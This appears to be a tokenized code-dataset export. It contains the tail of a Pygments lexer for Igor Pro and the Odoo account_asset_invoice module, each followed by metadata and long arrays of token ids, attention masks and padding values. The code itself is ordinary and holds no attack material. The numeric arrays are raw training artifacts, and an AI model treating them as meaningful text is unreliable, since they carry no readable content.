'WinList', 'WinName', 'WinRecreation', 'XWaveName',
'ContourNameToWaveRef', 'CsrWaveRef', 'CsrXWaveRef',
'ImageNameToWaveRef', 'NewFreeWave', 'TagWaveRef', 'TraceNameToWaveRef',
'WaveRefIndexed', 'XWaveRefFromTrace', 'GetDataFolderDFR',
'GetWavesDataFolderDFR', 'NewFreeDataFolder', 'ThreadGroupGetDFR',
]
tokens = {
'root': [
(r'//.*$', Comment.Single),
(r'"([^"\\]|\\.)*"', String),
# Flow Control.
(r'\b(%s)\b' % '|'.join(flowControl), Keyword),
# Types.
(r'\b(%s)\b' % '|'.join(types), Keyword.Type),
# Built-in operations.
(r'\b(%s)\b' % '|'.join(operations), Name.Class),
# Built-in functions.
(r'\b(%s)\b' % '|'.join(functions), Name.Function),
# Compiler directives.
(r'^#(include|pragma|define|ifdef|ifndef|endif)',
Name.Decorator),
(r'[^a-zA-Z"/]+', Text),
(r'.', Text),
],
}
|
mit
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
624,
272,
13277,
14,
12245,
14,
3442,
272,
18294,
2878,
339,
491,
476,
1192,
367,
3473,
10815,
14,
339,
520,
7307,
26,
1898,
8315,
13,
6965,
701,
314,
14493,
8099,
12,
1937,
10610,
14,
272,
520,
1682,
26,
6289,
12,
1937,
5113,
367,
2436,
14,
199,
624,
199,
199,
646,
295,
199,
199,
504,
13277,
14,
1974,
492,
25591,
63,
6742,
199,
504,
13277,
14,
11729,
492,
21125,
12,
12939,
5838,
12,
10259,
12,
2387,
12,
971,
272,
12149,
12,
886,
63,
262,
13049,
199,
504,
13277,
14,
1418,
492,
6819,
12,
2624,
12,
10357,
12,
6431,
12,
2812,
12,
971,
272,
11013,
12,
4860,
12,
4516,
12,
8307,
199,
199,
504,
13277,
14,
12245,
14,
643,
441,
492,
2018,
5838,
199,
504,
13277,
14,
12245,
492,
485,
551,
24142,
63,
10372,
199,
504,
13277,
14,
12245,
492,
485,
9746,
63,
10372,
199,
199,
363,
452,
363,
275,
788,
42,
13987,
65,
5838,
297,
283,
42,
13987,
65,
9270,
5838,
297,
283,
16215,
32420,
5838,
297,
283,
14817,
5561,
5838,
297,
1779,
283,
14817,
5561,
4434,
5838,
297,
283,
17584,
811,
5838,
297,
283,
7181,
24142,
5838,
297,
283,
5667,
2713,
5838,
297,
1779,
283,
50,
9270,
5838,
297,
283,
4929,
5273,
297,
283,
42,
7391,
5838,
297,
283,
1713,
458,
5838,
297,
283,
933,
290,
5838,
297,
1779,
283,
998,
4464,
5273,
297,
283,
50,
68,
5838,
297,
283,
41,
2904,
5838,
418,
421,
199,
533,
1603,
13987,
65,
5838,
8,
19856,
304,
272,
408,
272,
2104,
658,
42,
13987,
65,
665,
1014,
921,
74,
13987,
279,
621,
14,
1308,
3133,
18417,
1350,
1233,
14,
339,
627,
4665,
315,
14493,
413,
14,
22,
2795,
272,
408,
272,
536,
275,
283,
42,
13987,
65,
7,
272,
5481,
275,
788,
74,
13987,
65,
1673,
74,
76,
418,
272,
6203,
275,
17855,
74,
76,
418,
272,
13290,
275,
788,
505,
15,
88,
13,
74,
13987,
65,
1673,
3578,
15,
88,
13,
74,
13987,
65,
418,
339,
12963,
275,
359,
267,
283,
2224,
1673,
11345,
83,
1673,
3773,
1673,
912,
1673,
374,
1673,
13655,
1673,
572,
537,
1673,
23426,
1673,
2960,
297,
267,
283,
343,
1363,
1673,
1535,
1673,
2227,
1673,
30092,
1673,
3916,
1673,
20422,
1673,
10512,
297,
267,
283,
466,
827,
1673,
466,
988,
1673,
3093,
827,
1673,
3093,
988,
1673,
12590,
1673,
8277,
1673,
20422,
63,
466,
297,
267,
283,
765,
63,
2444,
1673,
30002,
1673,
15195,
1673,
68,
8329,
1673,
68,
478,
12828,
1673,
2253,
297,
267,
283,
705,
1673,
11964,
1673,
479,
1673,
1222,
1673,
17354,
1673,
27531,
1673,
1038,
1673,
1017,
297,
272,
1622,
339,
4645,
275,
469,
267,
283,
1231,
356,
359,
288,
334,
82,
1154,
78,
297,
4516,
395,
288,
334,
82,
29538,
51,
60,
78,
11529,
4516,
395,
288,
334,
82,
11525,
2795,
4268,
6819,
395,
288,
334,
82,
3894,
61,
2440,
26,
1062,
27,
14251,
4300,
10357,
395,
288,
334,
82,
32190,
78,
297,
4516,
395,
288,
334,
82,
8124,
297,
4516,
395,
953,
327,
7681,
288,
334,
82,
6774,
5037,
92,
6710,
92,
509,
92,
262,
92,
1107,
92,
4785,
92,
6958,
5227,
1467,
519,
6704,
645,
293,
92,
3513,
92,
2723,
92,
692,
92,
2836,
692,
92,
2836,
92,
893,
92,
9341,
92,
500,
5227,
1467,
519,
7,
2075,
20615,
92,
67,
1250,
92,
1117,
92,
4941,
92,
578,
92,
646,
92,
3790,
5227,
1467,
519,
7,
646,
452,
92,
14890,
578,
92,
17836,
2862,
66,
297,
6431,
395,
288,
334,
82,
6774,
1832,
92,
2966,
92,
1297,
2862,
66,
297,
6431,
14,
17737,
395,
288,
334,
82,
6774,
10349,
92,
3241,
92,
3241,
24,
92,
3241,
975,
92,
3241,
708,
92,
3241,
772,
92,
23448,
92,
23448,
24,
92,
23448,
975,
92,
23448,
708,
92,
23448,
772,
7,
1467,
519,
17018,
5136,
708,
92,
5136,
772,
92,
14500,
772,
92,
14500,
3933,
92,
9874,
92,
19627,
92,
403,
2862,
66,
297,
355,
6431,
14,
804,
395,
953,
327,
3423,
288,
334,
82,
6774,
1593,
9,
17304,
3427,
83,
92,
9780,
83,
6393,
3196,
355,
10259,
8,
10650,
12,
985,
14,
3481,
395,
283,
29577,
659,
953,
327,
2943,
288,
334,
82,
6774,
466,
92,
466,
3620,
92,
6198,
9,
17304,
3427,
83,
92,
9780,
83,
6393,
3196,
355,
10259,
8,
10650,
12,
985,
14,
2543,
395,
283,
18596,
659,
953,
327,
10211,
288,
334,
82,
7,
389,
92,
1111,
92,
12932,
92,
8119,
92,
5118,
92,
12574,
6113,
6113,
10644,
447,
92,
28,
26,
92,
1988,
94,
11,
6331,
5,
29,
16137,
6,
62,
18257,
31,
1,
4,
4300,
11013,
395,
288,
334,
82,
1154,
3134,
10,
6113,
3134,
62,
92,
4537,
1103,
6113,
3134,
15,
17780,
297,
11013,
395,
953,
327,
12963,
288,
661,
360,
435,
21590,
904,
8,
10372,
9,
435,
519,
24431,
66,
297,
221,
2812,
14,
12306,
395,
953,
327,
1771,
10406,
288,
334,
82,
7,
64,
2229,
83,
680,
15279,
30880,
2624,
14,
4540,
8284,
395,
953,
327,
8365,
288,
334,
82,
4507,
8,
20942,
17780,
59,
16,
13,
23,
8194,
17,
12,
19,
93,
17780,
88,
59,
65,
13,
13753,
13,
38,
16,
13,
25,
8194,
17,
12,
19,
93,
17780,
85,
59,
65,
13,
13753,
13,
38,
16,
13,
25,
8194,
17,
12,
20,
22441,
2,
1467,
519,
22996,
53,
59,
65,
13,
13753,
13,
38,
16,
13,
25,
8194,
17,
12,
22,
22441,
4735,
9780,
1154,
78,
566,
4662,
2624,
14,
1610,
395,
953,
327,
862,
370,
1336,
8520,
16992,
288,
334,
82,
10120,
28,
1524,
3134,
87,
13670,
3934,
3985,
7386,
11013,
395,
953,
327,
3326,
288,
334,
82,
20459,
59,
1193,
566,
6949,
2624,
12,
283,
875,
659,
288,
334,
82,
3894,
37,
11843,
6949,
2624,
12,
12149,
360,
495,
17081,
3588,
297,
283,
875,
3855,
953,
327,
1561,
288,
334,
82,
20812,
59,
65,
13,
6353,
13,
58,
16,
13,
25,
3754,
11529,
2812,
14,
14946,
395,
288,
334,
82,
3894,
65,
13,
6353,
13,
58,
17900,
65,
13,
6353,
13,
58,
16,
13,
25,
15555,
297,
2812,
395,
953,
327,
5579,
288,
334,
82,
13445,
68,
11,
1547,
60,
68,
11,
6393,
60,
3134,
68,
10,
6113,
68,
7590,
3134,
68,
11,
1547
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
624,
272,
13277,
14,
12245,
14,
3442,
272,
18294,
2878,
339,
491,
476,
1192,
367,
3473,
10815,
14,
339,
520,
7307,
26,
1898,
8315,
13,
6965,
701,
314,
14493,
8099,
12,
1937,
10610,
14,
272,
520,
1682,
26,
6289,
12,
1937,
5113,
367,
2436,
14,
199,
624,
199,
199,
646,
295,
199,
199,
504,
13277,
14,
1974,
492,
25591,
63,
6742,
199,
504,
13277,
14,
11729,
492,
21125,
12,
12939,
5838,
12,
10259,
12,
2387,
12,
971,
272,
12149,
12,
886,
63,
262,
13049,
199,
504,
13277,
14,
1418,
492,
6819,
12,
2624,
12,
10357,
12,
6431,
12,
2812,
12,
971,
272,
11013,
12,
4860,
12,
4516,
12,
8307,
199,
199,
504,
13277,
14,
12245,
14,
643,
441,
492,
2018,
5838,
199,
504,
13277,
14,
12245,
492,
485,
551,
24142,
63,
10372,
199,
504,
13277,
14,
12245,
492,
485,
9746,
63,
10372,
199,
199,
363,
452,
363,
275,
788,
42,
13987,
65,
5838,
297,
283,
42,
13987,
65,
9270,
5838,
297,
283,
16215,
32420,
5838,
297,
283,
14817,
5561,
5838,
297,
1779,
283,
14817,
5561,
4434,
5838,
297,
283,
17584,
811,
5838,
297,
283,
7181,
24142,
5838,
297,
283,
5667,
2713,
5838,
297,
1779,
283,
50,
9270,
5838,
297,
283,
4929,
5273,
297,
283,
42,
7391,
5838,
297,
283,
1713,
458,
5838,
297,
283,
933,
290,
5838,
297,
1779,
283,
998,
4464,
5273,
297,
283,
50,
68,
5838,
297,
283,
41,
2904,
5838,
418,
421,
199,
533,
1603,
13987,
65,
5838,
8,
19856,
304,
272,
408,
272,
2104,
658,
42,
13987,
65,
665,
1014,
921,
74,
13987,
279,
621,
14,
1308,
3133,
18417,
1350,
1233,
14,
339,
627,
4665,
315,
14493,
413,
14,
22,
2795,
272,
408,
272,
536,
275,
283,
42,
13987,
65,
7,
272,
5481,
275,
788,
74,
13987,
65,
1673,
74,
76,
418,
272,
6203,
275,
17855,
74,
76,
418,
272,
13290,
275,
788,
505,
15,
88,
13,
74,
13987,
65,
1673,
3578,
15,
88,
13,
74,
13987,
65,
418,
339,
12963,
275,
359,
267,
283,
2224,
1673,
11345,
83,
1673,
3773,
1673,
912,
1673,
374,
1673,
13655,
1673,
572,
537,
1673,
23426,
1673,
2960,
297,
267,
283,
343,
1363,
1673,
1535,
1673,
2227,
1673,
30092,
1673,
3916,
1673,
20422,
1673,
10512,
297,
267,
283,
466,
827,
1673,
466,
988,
1673,
3093,
827,
1673,
3093,
988,
1673,
12590,
1673,
8277,
1673,
20422,
63,
466,
297,
267,
283,
765,
63,
2444,
1673,
30002,
1673,
15195,
1673,
68,
8329,
1673,
68,
478,
12828,
1673,
2253,
297,
267,
283,
705,
1673,
11964,
1673,
479,
1673,
1222,
1673,
17354,
1673,
27531,
1673,
1038,
1673,
1017,
297,
272,
1622,
339,
4645,
275,
469,
267,
283,
1231,
356,
359,
288,
334,
82,
1154,
78,
297,
4516,
395,
288,
334,
82,
29538,
51,
60,
78,
11529,
4516,
395,
288,
334,
82,
11525,
2795,
4268,
6819,
395,
288,
334,
82,
3894,
61,
2440,
26,
1062,
27,
14251,
4300,
10357,
395,
288,
334,
82,
32190,
78,
297,
4516,
395,
288,
334,
82,
8124,
297,
4516,
395,
953,
327,
7681,
288,
334,
82,
6774,
5037,
92,
6710,
92,
509,
92,
262,
92,
1107,
92,
4785,
92,
6958,
5227,
1467,
519,
6704,
645,
293,
92,
3513,
92,
2723,
92,
692,
92,
2836,
692,
92,
2836,
92,
893,
92,
9341,
92,
500,
5227,
1467,
519,
7,
2075,
20615,
92,
67,
1250,
92,
1117,
92,
4941,
92,
578,
92,
646,
92,
3790,
5227,
1467,
519,
7,
646,
452,
92,
14890,
578,
92,
17836,
2862,
66,
297,
6431,
395,
288,
334,
82,
6774,
1832,
92,
2966,
92,
1297,
2862,
66,
297,
6431,
14,
17737,
395,
288,
334,
82,
6774,
10349,
92,
3241,
92,
3241,
24,
92,
3241,
975,
92,
3241,
708,
92,
3241,
772,
92,
23448,
92,
23448,
24,
92,
23448,
975,
92,
23448,
708,
92,
23448,
772,
7,
1467,
519,
17018,
5136,
708,
92,
5136,
772,
92,
14500,
772,
92,
14500,
3933,
92,
9874,
92,
19627,
92,
403,
2862,
66,
297,
355,
6431,
14,
804,
395,
953,
327,
3423,
288,
334,
82,
6774,
1593,
9,
17304,
3427,
83,
92,
9780,
83,
6393,
3196,
355,
10259,
8,
10650,
12,
985,
14,
3481,
395,
283,
29577,
659,
953,
327,
2943,
288,
334,
82,
6774,
466,
92,
466,
3620,
92,
6198,
9,
17304,
3427,
83,
92,
9780,
83,
6393,
3196,
355,
10259,
8,
10650,
12,
985,
14,
2543,
395,
283,
18596,
659,
953,
327,
10211,
288,
334,
82,
7,
389,
92,
1111,
92,
12932,
92,
8119,
92,
5118,
92,
12574,
6113,
6113,
10644,
447,
92,
28,
26,
92,
1988,
94,
11,
6331,
5,
29,
16137,
6,
62,
18257,
31,
1,
4,
4300,
11013,
395,
288,
334,
82,
1154,
3134,
10,
6113,
3134,
62,
92,
4537,
1103,
6113,
3134,
15,
17780,
297,
11013,
395,
953,
327,
12963,
288,
661,
360,
435,
21590,
904,
8,
10372,
9,
435,
519,
24431,
66,
297,
221,
2812,
14,
12306,
395,
953,
327,
1771,
10406,
288,
334,
82,
7,
64,
2229,
83,
680,
15279,
30880,
2624,
14,
4540,
8284,
395,
953,
327,
8365,
288,
334,
82,
4507,
8,
20942,
17780,
59,
16,
13,
23,
8194,
17,
12,
19,
93,
17780,
88,
59,
65,
13,
13753,
13,
38,
16,
13,
25,
8194,
17,
12,
19,
93,
17780,
85,
59,
65,
13,
13753,
13,
38,
16,
13,
25,
8194,
17,
12,
20,
22441,
2,
1467,
519,
22996,
53,
59,
65,
13,
13753,
13,
38,
16,
13,
25,
8194,
17,
12,
22,
22441,
4735,
9780,
1154,
78,
566,
4662,
2624,
14,
1610,
395,
953,
327,
862,
370,
1336,
8520,
16992,
288,
334,
82,
10120,
28,
1524,
3134,
87,
13670,
3934,
3985,
7386,
11013,
395,
953,
327,
3326,
288,
334,
82,
20459,
59,
1193,
566,
6949,
2624,
12,
283,
875,
659,
288,
334,
82,
3894,
37,
11843,
6949,
2624,
12,
12149,
360,
495,
17081,
3588,
297,
283,
875,
3855,
953,
327,
1561,
288,
334,
82,
20812,
59,
65,
13,
6353,
13,
58,
16,
13,
25,
3754,
11529,
2812,
14,
14946,
395,
288,
334,
82,
3894,
65,
13,
6353,
13,
58,
17900,
65,
13,
6353,
13,
58,
16,
13,
25,
15555,
297,
2812,
395,
953,
327,
5579,
288,
334,
82,
13445,
68,
11,
1547,
60,
68,
11,
6393,
60,
3134,
68,
10,
6113,
68,
7590,
3134,
68,
11,
1547,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
slevenhagen/odoo
|
addons/account_asset/account_asset_invoice.py
|
141
|
3088
|
# -*- encoding: utf-8 -*-
##############################################################################
#
# OpenERP, Open Source Management Solution
# Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>).
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as
# published by the Free Software Foundation, either version 3 of the
# License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
##############################################################################
from openerp.osv import fields, osv
class account_invoice(osv.osv):
_inherit = 'account.invoice'
def action_number(self, cr, uid, ids, *args, **kargs):
result = super(account_invoice, self).action_number(cr, uid, ids, *args, **kargs)
for inv in self.browse(cr, uid, ids):
self.pool.get('account.invoice.line').asset_create(cr, uid, inv.invoice_line)
return result
def line_get_convert(self, cr, uid, x, part, date, context=None):
res = super(account_invoice, self).line_get_convert(cr, uid, x, part, date, context=context)
res['asset_id'] = x.get('asset_id', False)
return res
class account_invoice_line(osv.osv):
_inherit = 'account.invoice.line'
_columns = {
'asset_category_id': fields.many2one('account.asset.category', 'Asset Category'),
}
def asset_create(self, cr, uid, lines, context=None):
context = context or {}
asset_obj = self.pool.get('account.asset.asset')
for line in lines:
if line.asset_category_id:
vals = {
'name': line.name,
'code': line.invoice_id.number or False,
'category_id': line.asset_category_id.id,
'purchase_value': line.price_subtotal,
'period_id': line.invoice_id.period_id.id,
'partner_id': line.invoice_id.partner_id.id,
'company_id': line.invoice_id.company_id.id,
'currency_id': line.invoice_id.currency_id.id,
'purchase_date' : line.invoice_id.date_invoice,
}
changed_vals = asset_obj.onchange_category_id(cr, uid, [], vals['category_id'], context=context)
vals.update(changed_vals['value'])
asset_id = asset_obj.create(cr, uid, vals, context=context)
if line.asset_category_id.open_asset:
asset_obj.validate(cr, uid, [asset_id], context=context)
return True
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
|
agpl-3.0
|
[
3,
1882,
2644,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
6542,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
199,
504,
5166,
14,
4795,
492,
1504,
12,
9506,
199,
199,
533,
2933,
63,
5404,
8,
4795,
14,
4795,
304,
339,
485,
6486,
275,
283,
2048,
14,
5404,
7,
272,
347,
1595,
63,
1955,
8,
277,
12,
2467,
12,
1747,
12,
2762,
12,
627,
589,
12,
1011,
24459,
304,
267,
754,
275,
1613,
8,
2048,
63,
5404,
12,
291,
680,
1287,
63,
1955,
8,
1556,
12,
1747,
12,
2762,
12,
627,
589,
12,
1011,
24459,
9,
267,
367,
4572,
315,
291,
14,
4570,
8,
1556,
12,
1747,
12,
2762,
304,
288,
291,
14,
2293,
14,
362,
360,
2048,
14,
5404,
14,
604,
1959,
6562,
63,
981,
8,
1556,
12,
1747,
12,
4572,
14,
5404,
63,
604,
9,
267,
372,
754,
339,
347,
1004,
63,
362,
63,
3916,
8,
277,
12,
2467,
12,
1747,
12,
671,
12,
1777,
12,
1434,
12,
1067,
29,
403,
304,
267,
522,
275,
1613,
8,
2048,
63,
5404,
12,
291,
680,
604,
63,
362,
63,
3916,
8,
1556,
12,
1747,
12,
671,
12,
1777,
12,
1434,
12,
1067,
29,
1100,
9,
267,
522,
459,
6562,
63,
344,
418,
275,
671,
14,
362,
360,
6562,
63,
344,
297,
756,
9,
267,
372,
522,
421,
199,
533,
2933,
63,
5404,
63,
604,
8,
4795,
14,
4795,
304,
339,
485,
6486,
275,
283,
2048,
14,
5404,
14,
604,
7,
272,
485,
3406,
275,
469,
267,
283,
6562,
63,
3710,
63,
344,
356,
1504,
14,
3479,
18,
368,
360,
2048,
14,
6562,
14,
3710,
297,
283,
19979,
13573,
659,
272,
789,
272,
347,
8977,
63,
981,
8,
277,
12,
2467,
12,
1747,
12,
2385,
12,
1067,
29,
403,
304,
267,
1067,
275,
1067,
503,
1052,
267,
8977,
63,
1113,
275,
291,
14,
2293,
14,
362,
360,
2048,
14,
6562,
14,
6562,
358,
267,
367,
1004,
315,
2385,
26,
288,
340,
1004,
14,
6562,
63,
3710,
63,
344,
26,
355,
5322,
275,
469,
490,
283,
354,
356,
1004,
14,
354,
12,
490,
283,
600,
356,
1004,
14,
5404,
63,
344,
14,
1955,
503,
756,
12,
490,
283,
3710,
63,
344,
356,
1004,
14,
6562,
63,
3710,
63,
344,
14,
344,
12,
490,
283,
9533,
63,
585,
356,
1004,
14,
4777,
63,
954,
2923,
12,
490,
283,
5191,
63,
344,
356,
1004,
14,
5404,
63,
344,
14,
5191,
63,
344,
14,
344,
12,
490,
283,
3899,
63,
344,
356,
1004,
14,
5404,
63,
344,
14,
3899,
63,
344,
14,
344,
12,
490,
283,
4627,
63,
344,
356,
1004,
14,
5404,
63,
344,
14,
4627,
63,
344,
14,
344,
12,
490,
283,
4968,
63,
344,
356,
1004,
14,
5404,
63,
344,
14,
4968,
63,
344,
14,
344,
12,
490,
283,
9533,
63,
602,
7,
520,
1004,
14,
5404,
63,
344,
14,
602,
63,
5404,
12,
355,
789,
355,
2896,
63,
3643,
275,
8977,
63,
1113,
14,
18128,
63,
3710,
63,
344,
8,
1556,
12,
1747,
12,
990,
5322,
459,
3710,
63,
344,
995,
1067,
29,
1100,
9,
355,
5322,
14,
873,
8,
2489,
63,
3643,
459,
585,
1105,
355,
8977,
63,
344,
275,
8977,
63,
1113,
14,
981,
8,
1556,
12,
1747,
12,
5322,
12,
1067,
29,
1100,
9,
355,
340,
1004,
14,
6562,
63,
3710,
63,
344,
14,
1490,
63,
6562,
26,
490,
8977,
63,
1113,
14,
3502,
8,
1556,
12,
1747,
12,
359,
6562,
63,
344,
467,
1067,
29,
1100,
9,
267,
372,
715,
421,
199,
3,
6695,
26,
10379,
26,
10558,
26,
6492,
29,
20,
26,
10503,
29,
20,
26,
10425,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
1882,
2644,
26,
2774,
13,
24,
1882,
199,
4605,
199,
3,
199,
3,
259,
7653,
12,
3232,
5800,
8259,
9274,
199,
3,
259,
1898,
334,
35,
9,
8353,
13,
6542,
11947,
12361,
8642,
1014,
921,
9864,
14,
1235,
10121,
199,
3,
199,
3,
259,
961,
2240,
365,
2867,
2032,
26,
1265,
883,
3604,
652,
436,
15,
269,
2811,
199,
3,
259,
652,
1334,
314,
2895,
402,
314,
1664,
4265,
1696,
1684,
844,
465,
199,
3,
259,
3267,
701,
314,
2868,
2290,
2752,
12,
1902,
1015,
650,
402,
314,
199,
3,
259,
844,
12,
503,
334,
292,
2195,
945,
9,
1263,
2945,
1015,
14,
199,
3,
199,
3,
259,
961,
2240,
365,
1854,
315,
314,
3661,
626,
652,
911,
506,
2997,
12,
199,
3,
259,
1325,
2428,
1821,
3408,
27,
1928,
2755,
314,
2478,
3750,
402,
199,
3,
259,
3169,
503,
3092,
2381,
437,
3115,
3104,
14,
221,
1666,
314,
199,
3,
259,
1664,
4265,
1696,
1684,
844,
367,
1655,
2436,
14,
199,
3,
199,
3,
259,
2047,
1077,
1172,
3086,
282,
1331,
402,
314,
1664,
4265,
1696,
1684,
844,
199,
3,
259,
3180,
543,
642,
2240,
14,
221,
982,
440,
12,
1937,
665,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
4743,
199,
3,
199,
4605,
199,
199,
504,
5166,
14,
4795,
492,
1504,
12,
9506,
199,
199,
533,
2933,
63,
5404,
8,
4795,
14,
4795,
304,
339,
485,
6486,
275,
283,
2048,
14,
5404,
7,
272,
347,
1595,
63,
1955,
8,
277,
12,
2467,
12,
1747,
12,
2762,
12,
627,
589,
12,
1011,
24459,
304,
267,
754,
275,
1613,
8,
2048,
63,
5404,
12,
291,
680,
1287,
63,
1955,
8,
1556,
12,
1747,
12,
2762,
12,
627,
589,
12,
1011,
24459,
9,
267,
367,
4572,
315,
291,
14,
4570,
8,
1556,
12,
1747,
12,
2762,
304,
288,
291,
14,
2293,
14,
362,
360,
2048,
14,
5404,
14,
604,
1959,
6562,
63,
981,
8,
1556,
12,
1747,
12,
4572,
14,
5404,
63,
604,
9,
267,
372,
754,
339,
347,
1004,
63,
362,
63,
3916,
8,
277,
12,
2467,
12,
1747,
12,
671,
12,
1777,
12,
1434,
12,
1067,
29,
403,
304,
267,
522,
275,
1613,
8,
2048,
63,
5404,
12,
291,
680,
604,
63,
362,
63,
3916,
8,
1556,
12,
1747,
12,
671,
12,
1777,
12,
1434,
12,
1067,
29,
1100,
9,
267,
522,
459,
6562,
63,
344,
418,
275,
671,
14,
362,
360,
6562,
63,
344,
297,
756,
9,
267,
372,
522,
421,
199,
533,
2933,
63,
5404,
63,
604,
8,
4795,
14,
4795,
304,
339,
485,
6486,
275,
283,
2048,
14,
5404,
14,
604,
7,
272,
485,
3406,
275,
469,
267,
283,
6562,
63,
3710,
63,
344,
356,
1504,
14,
3479,
18,
368,
360,
2048,
14,
6562,
14,
3710,
297,
283,
19979,
13573,
659,
272,
789,
272,
347,
8977,
63,
981,
8,
277,
12,
2467,
12,
1747,
12,
2385,
12,
1067,
29,
403,
304,
267,
1067,
275,
1067,
503,
1052,
267,
8977,
63,
1113,
275,
291,
14,
2293,
14,
362,
360,
2048,
14,
6562,
14,
6562,
358,
267,
367,
1004,
315,
2385,
26,
288,
340,
1004,
14,
6562,
63,
3710,
63,
344,
26,
355,
5322,
275,
469,
490,
283,
354,
356,
1004,
14,
354,
12,
490,
283,
600,
356,
1004,
14,
5404,
63,
344,
14,
1955,
503,
756,
12,
490,
283,
3710,
63,
344,
356,
1004,
14,
6562,
63,
3710,
